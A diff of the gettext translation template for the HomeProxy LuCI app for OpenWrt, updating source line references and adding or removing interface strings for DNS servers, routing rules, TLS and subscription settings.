htdocs/luci-static/resources/view/homeproxy/server.js:787 msgid "Save your configuration before uploading files!" @@ -35,15 +43,15 @@ msgstr "" msgid "API token" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:850 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1100 msgid "Accept any if empty." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1349 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1161 msgid "Accept empty query response" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1611 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1422 msgid "Access Control" msgstr "" @@ -55,32 +63,36 @@ msgstr "" msgid "Access key secret" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:881 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1357 +#: htdocs/luci-static/resources/view/homeproxy/client.js:692 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1169 msgid "Action" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1267 +#: htdocs/luci-static/resources/view/homeproxy/client.js:210 +msgid "AdGuard Public DNS (DoH)" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:1079 msgid "Add a DNS rule" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1143 +#: htdocs/luci-static/resources/view/homeproxy/client.js:956 msgid "Add a DNS server" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:491 +#: htdocs/luci-static/resources/view/homeproxy/node.js:719 msgid "Add a node" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:445 +#: htdocs/luci-static/resources/view/homeproxy/client.js:428 msgid "Add a routing node" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:788 +#: htdocs/luci-static/resources/view/homeproxy/client.js:599 msgid "Add a routing rule" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1531 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1343 msgid "Add a rule set" msgstr "" @@ -88,33 +100,32 @@ msgstr "" msgid "Add a server" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1185 +#: htdocs/luci-static/resources/view/homeproxy/client.js:998 msgid "Additional headers to be sent to the DNS server." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1167 -#: htdocs/luci-static/resources/view/homeproxy/node.js:543 +#: htdocs/luci-static/resources/view/homeproxy/client.js:980 +#: htdocs/luci-static/resources/view/homeproxy/node.js:878 msgid "Address" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1198 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1011 msgid "Address resolver" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1230 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1043 msgid "Address strategy" msgstr "" #: htdocs/luci-static/resources/view/homeproxy/server.js:640 -msgid "Alibaba Cloud DNS" +msgid "AliYun" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:226 -#: htdocs/luci-static/resources/view/homeproxy/client.js:260 -msgid "Aliyun Public DNS (223.5.5.5)" +#: htdocs/luci-static/resources/view/homeproxy/client.js:246 +msgid "AliYun Public DNS (DoH)" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:306 +#: htdocs/luci-static/resources/view/homeproxy/client.js:289 msgid "All ports" msgstr "" @@ -122,24 +133,20 @@ msgstr "" msgid "Allow access from the Internet." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1220 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1616 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1470 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1822 msgid "Allow insecure" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1221 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1471 msgid "Allow insecure connection at TLS client." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1617 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1823 msgid "Allow insecure connection by default when add nodes from subscriptions." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1623 -msgid "Allow unsupported certificate pin fallback" -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1054 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1304 #: htdocs/luci-static/resources/view/homeproxy/server.js:482 msgid "Allowed payload size is in the request." msgstr "" @@ -152,7 +159,7 @@ msgstr "" msgid "Already in updating." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:922 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1172 #: htdocs/luci-static/resources/view/homeproxy/server.js:391 msgid "Alter ID" msgstr "" @@ -165,22 +172,15 @@ msgstr "" msgid "Alternative TLS port" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1719 -msgid "An error occurred during removing subscription nodes: %s" +#: htdocs/luci-static/resources/view/homeproxy/node.js:1859 +msgid "An error occurred during updating subscriptions: %s" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1662 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1667 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1675 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1683 -msgid "An error occurred while updating subscriptions." -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/client.js:1438 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1250 msgid "Answer" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:524 +#: htdocs/luci-static/resources/view/homeproxy/node.js:859 #: htdocs/luci-static/resources/view/homeproxy/server.js:176 msgid "AnyTLS" msgstr "" @@ -189,147 +189,128 @@ msgstr "" msgid "AnyTLS padding scheme in array." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1009 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1119 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1406 +#: htdocs/luci-static/resources/view/homeproxy/client.js:822 +#: htdocs/luci-static/resources/view/homeproxy/client.js:932 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1218 msgid "" "Append a edns0-subnet OPT extra record with the specified IP " "prefix to every query by default.
If value is an IP address instead of " "prefix, /32 or /128 will be appended automatically." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1252 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1502 msgid "Append self-signed certificate" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:502 +#: htdocs/luci-static/resources/view/homeproxy/node.js:802 msgid "Applied" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:495 -#: htdocs/luci-static/resources/view/homeproxy/node.js:505 +#: htdocs/luci-static/resources/view/homeproxy/node.js:795 +#: htdocs/luci-static/resources/view/homeproxy/node.js:805 msgid "Apply" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/backup.js:155 -msgid "Applying backup file and restarting HomeProxy." -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:67 +#: htdocs/luci-static/resources/view/homeproxy/node.js:26 msgid "Are you sure to allow insecure?" msgstr "" -#: htdocs/luci-static/resources/homeproxy/tcping.js:296 -msgid "At most %d nodes can be tested at once." -msgstr "" - #: htdocs/luci-static/resources/view/homeproxy/server.js:363 msgid "Auth timeout" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:946 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1196 msgid "Authenticated length" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:677 +#: htdocs/luci-static/resources/view/homeproxy/node.js:991 #: htdocs/luci-static/resources/view/homeproxy/server.js:282 msgid "Authentication payload" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:670 +#: htdocs/luci-static/resources/view/homeproxy/node.js:984 #: htdocs/luci-static/resources/view/homeproxy/server.js:275 msgid "Authentication type" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1569 +#: htdocs/luci-static/resources/view/homeproxy/client.js:703 +msgid "Auto select" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/node.js:1768 msgid "Auto update" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1570 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1769 msgid "Auto update subscriptions and geodata." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:882 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1132 msgid "BBR" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/backup.js:185 -msgid "Backup" -msgstr "" - -#: root/usr/share/luci/menu.d/luci-app-homeproxy.json:38 -msgid "Backup / Restore" -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/backup.js:97 -msgid "Backup file has been generated and download has started." -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/backup.js:92 -msgid "Backup file path was not returned." +#: htdocs/luci-static/resources/view/homeproxy/node.js:472 +msgid "Backend execution failed" msgstr "" #: htdocs/luci-static/resources/view/homeproxy/status.js:235 msgid "BaiDu" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:672 +#: htdocs/luci-static/resources/view/homeproxy/node.js:986 #: htdocs/luci-static/resources/view/homeproxy/server.js:277 msgid "Base64" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:363 +#: htdocs/luci-static/resources/view/homeproxy/client.js:346 msgid "Based on google/gvisor." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1552 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1364 msgid "Binary file" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:494 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1624 +#: htdocs/luci-static/resources/view/homeproxy/client.js:476 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1435 #: htdocs/luci-static/resources/view/homeproxy/server.js:874 msgid "Bind interface" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1625 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1436 msgid "" "Bind outbound traffic to specific interface. Leave empty to auto detect." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:829 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1317 +#: htdocs/luci-static/resources/view/homeproxy/client.js:640 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1129 msgid "BitTorrent" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1603 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1809 msgid "Blacklist mode" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:405 -#: htdocs/luci-static/resources/view/homeproxy/client.js:897 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1244 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1594 +#: htdocs/luci-static/resources/view/homeproxy/client.js:388 msgid "Block" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:824 -#: htdocs/luci-static/resources/view/homeproxy/client.js:852 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1303 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1313 +#: htdocs/luci-static/resources/view/homeproxy/client.js:635 +#: htdocs/luci-static/resources/view/homeproxy/client.js:663 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1115 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1125 #: htdocs/luci-static/resources/view/homeproxy/server.js:869 msgid "Both" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:383 +#: htdocs/luci-static/resources/view/homeproxy/client.js:366 msgid "Bypass CN traffic" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:293 +#: htdocs/luci-static/resources/view/homeproxy/client.js:276 msgid "Bypass mainland China" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:384 +#: htdocs/luci-static/resources/view/homeproxy/client.js:367 msgid "Bypass mainland China traffic via firewall rules by default." msgstr "" @@ -337,26 +318,15 @@ msgstr "" msgid "CA provider" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:261 -msgid "CNNIC Public DNS (210.2.4.8)" -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:880 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1130 msgid "CUBIC" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/backup.js:137 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1472 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1672 msgid "Cancel" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:778 -#: htdocs/luci-static/resources/view/homeproxy/node.js:794 -#: htdocs/luci-static/resources/view/homeproxy/node.js:809 -msgid "Cannot be empty" -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1257 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1507 #: htdocs/luci-static/resources/view/homeproxy/server.js:756 msgid "Certificate path" msgstr "" @@ -369,11 +339,7 @@ msgstr "" msgid "Check update" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/backup.js:122 -msgid "Checking backup file..." -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/client.js:257 +#: htdocs/luci-static/resources/view/homeproxy/client.js:241 msgid "China DNS server" msgstr "" @@ -389,24 +355,28 @@ msgstr "" msgid "China list version" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:841 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1783 +msgid "Choose which method node latency tests use." +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:652 msgid "Chromium / Cronet" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1244 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1494 #: htdocs/luci-static/resources/view/homeproxy/server.js:586 msgid "Cipher suites" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:223 -msgid "Cisco Public DNS (208.67.222.222)" +#: htdocs/luci-static/resources/view/homeproxy/client.js:212 +msgid "Cisco Public DNS (DoH)" msgstr "" #: htdocs/luci-static/resources/view/homeproxy/status.js:214 msgid "Clean log" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:839 +#: htdocs/luci-static/resources/view/homeproxy/client.js:650 msgid "Client" msgstr "" @@ -414,33 +384,29 @@ msgstr "" msgid "Client Settings" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:844 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1094 msgid "Client version" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/backup.js:167 -msgid "Close" -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/client.js:222 -msgid "CloudFlare Public DNS (1.1.1.1)" -msgstr "" - #: htdocs/luci-static/resources/view/homeproxy/server.js:641 -msgid "Cloudflare" +msgid "CloudFlare" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:153 +#: htdocs/luci-static/resources/view/homeproxy/client.js:207 +msgid "CloudFlare Public DNS (DoH)" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:139 #: htdocs/luci-static/resources/view/homeproxy/server.js:142 #: htdocs/luci-static/resources/view/homeproxy/status.js:176 msgid "Collecting data..." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:307 +#: htdocs/luci-static/resources/view/homeproxy/client.js:290 msgid "Common ports only (bypass P2P traffic)" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:878 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1128 #: htdocs/luci-static/resources/view/homeproxy/server.js:354 msgid "Congestion control algorithm" msgstr "" @@ -449,32 +415,27 @@ msgstr "" msgid "Connection check" msgstr "" -#: htdocs/luci-static/resources/homeproxy/tcping.js:230 -#: htdocs/luci-static/resources/homeproxy/tcping.js:309 -msgid "Connectivity test failed." +#: htdocs/luci-static/resources/view/homeproxy/node.js:1772 +msgid "Cron expression" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/backup.js:142 -msgid "Continue" -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/client.js:295 +#: htdocs/luci-static/resources/view/homeproxy/client.js:278 msgid "Custom routing" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:830 +#: htdocs/luci-static/resources/view/homeproxy/client.js:641 msgid "DNS" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1258 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1070 msgid "DNS Rules" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1134 +#: htdocs/luci-static/resources/view/homeproxy/client.js:947 msgid "DNS Servers" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1082 +#: htdocs/luci-static/resources/view/homeproxy/client.js:895 msgid "DNS Settings" msgstr "" @@ -482,22 +443,26 @@ msgstr "" msgid "DNS provider" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1267 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1079 msgid "DNS rule" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:219 -#: htdocs/luci-static/resources/view/homeproxy/client.js:959 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1143 +#: htdocs/luci-static/resources/view/homeproxy/client.js:204 +#: htdocs/luci-static/resources/view/homeproxy/client.js:772 +#: htdocs/luci-static/resources/view/homeproxy/client.js:956 msgid "DNS server" msgstr "" +#: htdocs/luci-static/resources/view/homeproxy/client.js:211 +msgid "DNS.SB Public DNS (DoH)" +msgstr "" + #: htdocs/luci-static/resources/view/homeproxy/server.js:635 msgid "DNS01 challenge" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:831 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1318 +#: htdocs/luci-static/resources/view/homeproxy/client.js:642 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1130 msgid "DTLS" msgstr "" @@ -506,119 +471,136 @@ msgid "Debug" msgstr "" #: htdocs/luci-static/resources/homeproxy.js:17 -#: htdocs/luci-static/resources/view/homeproxy/client.js:474 -#: htdocs/luci-static/resources/view/homeproxy/client.js:709 -#: htdocs/luci-static/resources/view/homeproxy/client.js:815 -#: htdocs/luci-static/resources/view/homeproxy/client.js:965 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1294 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1592 -#: htdocs/luci-static/resources/view/homeproxy/node.js:890 +#: htdocs/luci-static/resources/view/homeproxy/client.js:456 +#: htdocs/luci-static/resources/view/homeproxy/client.js:626 +#: htdocs/luci-static/resources/view/homeproxy/client.js:778 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1106 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1404 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1140 msgid "Default" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:422 -#: htdocs/luci-static/resources/view/homeproxy/client.js:475 -#: htdocs/luci-static/resources/view/homeproxy/client.js:966 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1097 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1205 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1372 +msgid "Default node" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:405 +#: htdocs/luci-static/resources/view/homeproxy/client.js:457 +#: htdocs/luci-static/resources/view/homeproxy/client.js:779 +#: htdocs/luci-static/resources/view/homeproxy/client.js:910 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1018 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1184 msgid "Default DNS (issued by WAN)" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1092 +#: htdocs/luci-static/resources/view/homeproxy/client.js:905 msgid "Default DNS server" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:417 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1332 +msgid "Daily domain name resolution for clients. Choose an overseas DNS if DNS leak protection is required." +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:400 msgid "Default DNS server for resolving domain name in the server address." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1087 +#: htdocs/luci-static/resources/view/homeproxy/client.js:900 msgid "Default DNS strategy" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:397 -msgid "Default outbound" +#: htdocs/luci-static/resources/view/homeproxy/client.js:380 +msgid "Default outbound (fallback)" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:416 +#: htdocs/luci-static/resources/view/homeproxy/client.js:399 msgid "Default outbound DNS" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:398 +#: htdocs/luci-static/resources/view/homeproxy/client.js:381 msgid "Default outbound for connections not matched by any routing rules." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1628 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1829 msgid "Default packet encoding" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:704 -msgid "Default selector node" -msgstr "" - #: htdocs/luci-static/resources/view/homeproxy/server.js:606 msgid "Default server name" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:404 -#: htdocs/luci-static/resources/view/homeproxy/client.js:507 -#: htdocs/luci-static/resources/view/homeproxy/client.js:896 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1243 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1593 -#: htdocs/luci-static/resources/view/homeproxy/node.js:523 +#: htdocs/luci-static/resources/view/homeproxy/client.js:387 +#: htdocs/luci-static/resources/view/homeproxy/client.js:489 +#: htdocs/luci-static/resources/view/homeproxy/client.js:707 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1056 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1405 +#: htdocs/luci-static/resources/view/homeproxy/node.js:858 msgid "Direct" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1726 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1537 msgid "Direct Domain List" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1640 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1685 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1451 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1496 msgid "Direct IPv4 IP-s" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1643 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1688 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1454 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1499 msgid "Direct IPv6 IP-s" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1646 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1457 msgid "Direct MAC-s" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:163 -#: htdocs/luci-static/resources/view/homeproxy/client.js:191 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1634 -#: htdocs/luci-static/resources/view/homeproxy/node.js:615 -#: htdocs/luci-static/resources/view/homeproxy/node.js:671 -#: htdocs/luci-static/resources/view/homeproxy/node.js:684 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1295 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1602 +#: htdocs/luci-static/resources/view/homeproxy/client.js:148 +#: htdocs/luci-static/resources/view/homeproxy/client.js:176 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1445 +#: htdocs/luci-static/resources/view/homeproxy/node.js:929 +#: htdocs/luci-static/resources/view/homeproxy/node.js:985 +#: htdocs/luci-static/resources/view/homeproxy/node.js:998 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1545 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1808 #: htdocs/luci-static/resources/view/homeproxy/server.js:276 #: htdocs/luci-static/resources/view/homeproxy/server.js:289 msgid "Disable" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:403 +#: htdocs/luci-static/resources/view/homeproxy/client.js:386 msgid "Disable (the service)" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:997 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1109 +#: htdocs/luci-static/resources/view/homeproxy/client.js:810 +#: htdocs/luci-static/resources/view/homeproxy/client.js:922 msgid "Disable DNS cache" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:998 +#: htdocs/luci-static/resources/view/homeproxy/client.js:811 msgid "Disable DNS cache in this query." msgstr "" +msgid "Disable DNS memory cache" +msgstr "" + +msgid "Disable DNS memory cache in this query." +msgstr "" + +msgid "Disable DNS memory cache expiration" +msgstr "" + +msgid "Independent DNS memory cache per server" +msgstr "" + +msgid "Make each DNS server's memory cache independent for special purposes. If enabled, will slightly degrade performance." +msgstr "" + #: htdocs/luci-static/resources/view/homeproxy/server.js:670 msgid "Disable HTTP challenge" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:721 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1035 #: htdocs/luci-static/resources/view/homeproxy/server.js:321 msgid "Disable Path MTU discovery" msgstr "" @@ -627,60 +609,63 @@ msgstr "" msgid "Disable TLS ALPN challenge" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:920 +#: htdocs/luci-static/resources/view/homeproxy/client.js:733 msgid "Disable UDP domain unmapping" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1393 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1205 msgid "Disable cache and save cache in this query." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1111 +msgid "Disable DNS memory cache and persistent cache in this query." +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:924 msgid "Disable cache expire" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1392 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1204 msgid "Disable dns cache" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:722 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1036 #: htdocs/luci-static/resources/view/homeproxy/server.js:322 msgid "" "Disables Path MTU Discovery (RFC 8899). Packets will then be at most 1252 " "(IPv4) / 1232 (IPv6) bytes in size." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1024 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1462 +#: htdocs/luci-static/resources/view/homeproxy/client.js:837 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1274 msgid "Domain keyword" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1015 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1453 +#: htdocs/luci-static/resources/view/homeproxy/client.js:828 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1265 msgid "Domain name" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1028 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1466 +#: htdocs/luci-static/resources/view/homeproxy/client.js:841 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1278 msgid "Domain regex" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:468 +#: htdocs/luci-static/resources/view/homeproxy/client.js:450 msgid "Domain resolver" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:387 -#: htdocs/luci-static/resources/view/homeproxy/client.js:487 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1385 +#: htdocs/luci-static/resources/view/homeproxy/client.js:370 +#: htdocs/luci-static/resources/view/homeproxy/client.js:469 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1197 msgid "Domain strategy" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:991 +#: htdocs/luci-static/resources/view/homeproxy/client.js:804 msgid "Domain strategy for resolving the domain names." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1020 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1458 +#: htdocs/luci-static/resources/view/homeproxy/client.js:833 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1270 msgid "Domain suffix" msgstr "" @@ -688,55 +673,42 @@ msgstr "" msgid "Domains" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:984 +#: htdocs/luci-static/resources/view/homeproxy/client.js:797 msgid "Don't drop packets" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1420 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1232 msgid "Don't drop requests" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/backup.js:187 -msgid "" -"Download a tar.gz backup containing /etc/config/homeproxy, custom direct/" -"proxy lists, and uploaded certificates and private keys. The backup contains " -"plaintext private keys; keep it safe and avoid transmitting or storing it " -"through untrusted channels. Restore only verifies file integrity (SHA-256 " -"manifest), not source authenticity." -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/backup.js:189 -msgid "Download backup" -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1169 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1419 #: htdocs/luci-static/resources/view/homeproxy/server.js:517 msgid "Download bandwidth" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1170 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1420 #: htdocs/luci-static/resources/view/homeproxy/server.js:518 msgid "Download bandwidth in Mbps." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:980 -#: htdocs/luci-static/resources/view/homeproxy/client.js:986 +#: htdocs/luci-static/resources/view/homeproxy/client.js:793 +#: htdocs/luci-static/resources/view/homeproxy/client.js:799 msgid "Drop packets" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1415 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1422 +#: 